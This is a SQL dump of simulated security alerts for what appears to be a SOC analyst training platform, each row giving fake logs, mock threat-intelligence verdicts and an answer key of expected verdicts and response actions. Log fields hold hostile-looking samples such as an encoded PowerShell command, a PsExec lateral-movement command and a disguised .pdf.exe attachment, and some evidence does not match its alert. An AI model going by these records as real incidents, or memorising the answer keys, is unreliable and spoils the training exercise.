(1316, 'Detected DGA Domain Activity Indicative of APT Campaign', 'critical', 'MISP', 'A domain generated by a Domain Generation Algorithm (DGA) was detected, commonly used by APT actors for stealthy communication.', 'DGA Activity', 'T1568', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T11:04:21Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"198.51.100.10\",\"username\":\"bsmith\",\"hostname\":\"desktop03\",\"domain\":\"xylznbqweu.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple DGA campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xylznbqweu.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Domain identified as part of DGA activity\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"dga_activity\",\"analysis_notes\":\"The detection of a DGA domain strongly suggests APT involvement, confirming this alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.787Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T11:04:21Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"desktop03\\\",\\\"domain\\\":\\\"xylznbqweu.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1317, 'Detected Brute Force Attack from Suspicious IP', 'high', 'Anomali', 'A high number of failed login attempts were detected from a foreign IP address, suggesting a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.30\",\"username\":\"mjohnson\",\"hostname\":\"server04\",\"failed_attempts\":47}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 432 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mjohnson\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username involved in brute force attempt\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts from a known malicious IP confirms the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:54:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:53:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:52:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"},{\"timestamp\":\"2026-03-02T13:51:06.789Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T09:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"mjohnson\\\",\\\"hostname\\\":\\\"server04\\\",\\\"failed_attempts\\\":47}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1318, 'Phishing Attempt Detected via Spoofed Domain', 'medium', 'Proofpoint', 'A phishing email was detected containing a link to a spoofed domain designed to mimic a legitimate financial institution.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T12:14:33Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.50\",\"username\":\"kthompson\",\"hostname\":\"laptop01\",\"email_sender\":\"alert@secure-finance.com\",\"url\":\"http://secure-f1nance.com/login\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 254 times for phishing activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-f1nance.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as part of phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"alert@secure-finance.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email sender domain closely resembles a legitimate domain\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing URL and spoofed email domain confirm the alert as a true positive.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt Detected via Spoofed Domain\",\"date\":\"2026-03-02T13:55:06.792Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1319, 'Legitimate Remote Access Tool Misidentified as Malicious', 'low', 'Wazuh', 'A legitimate remote access tool was flagged as malicious due to its use of obfuscation techniques.', 'Malware', 'T1219', 0, 'New', NULL, '{\"timestamp\":\"2026-03-01T16:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"172.16.0.100\",\"username\":\"it_support\",\"hostname\":\"support-pc\",\"command_line\":\"remotesupport.exe /connect /obfuscate\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"remotesupport.exe /connect /obfuscate\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command line typical for internal IT operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line execution belongs to a known legitimate remote support tool, confirming the false positive.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.800Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T16:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"172.16.0.100\\\",\\\"username\\\":\\\"it_support\\\",\\\"hostname\\\":\\\"support-pc\\\",\\\"command_line\\\":\\\"remotesupport.exe /connect /obfuscate\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1320, 'Detected Fast-Flux DNS Activity from Internal Server', 'medium', 'Splunk', 'An internal server was observed engaging in fast-flux DNS activity, commonly associated with botnet behavior.', 'DNS Anomaly', 'T1090', 0, 'New', NULL, '{\"timestamp\":\"2026-03-01T13:45:12Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.85\",\"username\":\"system\",\"hostname\":\"dns-server\",\"domain\":\"fluxdns.example.com\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of DNS server\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"fluxdns.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain used for legitimate testing purposes\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"dns_anomaly\",\"analysis_notes\":\"The activity was traced back to a legitimate testing process, confirming the false positive.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.802Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-01T13:45:12Z\\\",\\\"event_type\\\":\\\"dns_query\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"username\\\":\\\"system\\\",\\\"hostname\\\":\\\"dns-server\\\",\\\"domain\\\":\\\"fluxdns.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1321, 'Subtle Indicators of Lateral Movement Detected', 'high', 'CrowdStrike', 'Detected subtle indicators of lateral movement within the network using PSExec and WMI, likely part of a larger APT attack.', 'Lateral Movement', 'T1021', 1, 'New', NULL, '{\"timestamp\":\"2026-03-01T07:29:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"192.168.1.41\",\"username\":\"svc_admin\",\"hostname\":\"server05\",\"command_line\":\"psexec \\\\\\\\192.168.1.41 -u svc_admin -p ******** cmd\"}', '2026-03-01 22:54:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address initiating lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.41 -u svc_admin -p ******** cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution indicative of lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec and WMI in this context aligns with known lateral movement techniques, confirming the alert.\"}', 'Expert', 'TI', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1322, 'Initial Access: Phishing Campaign Detected', 'high', 'Email Gateway Logs', 'A phishing email has been detected targeting employees within key Israeli organizations. The email contains a malicious attachment designed to gain unauthorized access to the network.', 'Phishing', 'TA0001 - Initial Access', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T08:45:00Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.15\",\"src_email\":\"attacker@m0s3sstaff.com\",\"dst_email\":\"employee@israeli-org.co.il\",\"subject\":\"Urgent Update Required\",\"attachment\":{\"filename\":\"update-instructions.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\",\"action\":\"Email delivered\",\"status\":\"Suspicious\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@m0s3sstaff.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Email domain linked to Moses Staff APT\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malicious document\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Phishing Campaign Detected\",\"date\":\"2026-03-02T13:55:06.807Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1323, 'Execution: DCSrv Wiper Deployment', 'critical', 'Endpoint Detection Systems', 'Following successful initial access, the attackers deployed the DCSrv wiper malware on the targeted endpoint with the objective to destroy critical data and disrupt operations. This aligns with their politically-driven objectives to cause chaos within the target\'s infrastructure.', 'Malware Execution', 'T1486 - Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"1029384756\",\"hostname\":\"target-server1\",\"internal_ip\":\"192.168.1.15\",\"external_ip\":\"203.0.113.45\",\"username\":\"admin_user\",\"malware_name\":\"DCSrv Wiper\",\"file_path\":\"C:\\\\Windows\\\\Temp\\\\dcwiper.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"execution\",\"status\":\"success\",\"detection_method\":\"signature-based\",\"event_description\":\"Malware execution detected: DCSrv Wiper initiated on target-server1 by user admin_user from IP 203.0.113.45.\"}', '2026-03-01 22:55:52', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP involved in multiple cyber attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the DCSrv Wiper malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"dcwiper.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable file used by DCSrv Wiper.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account involved in unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
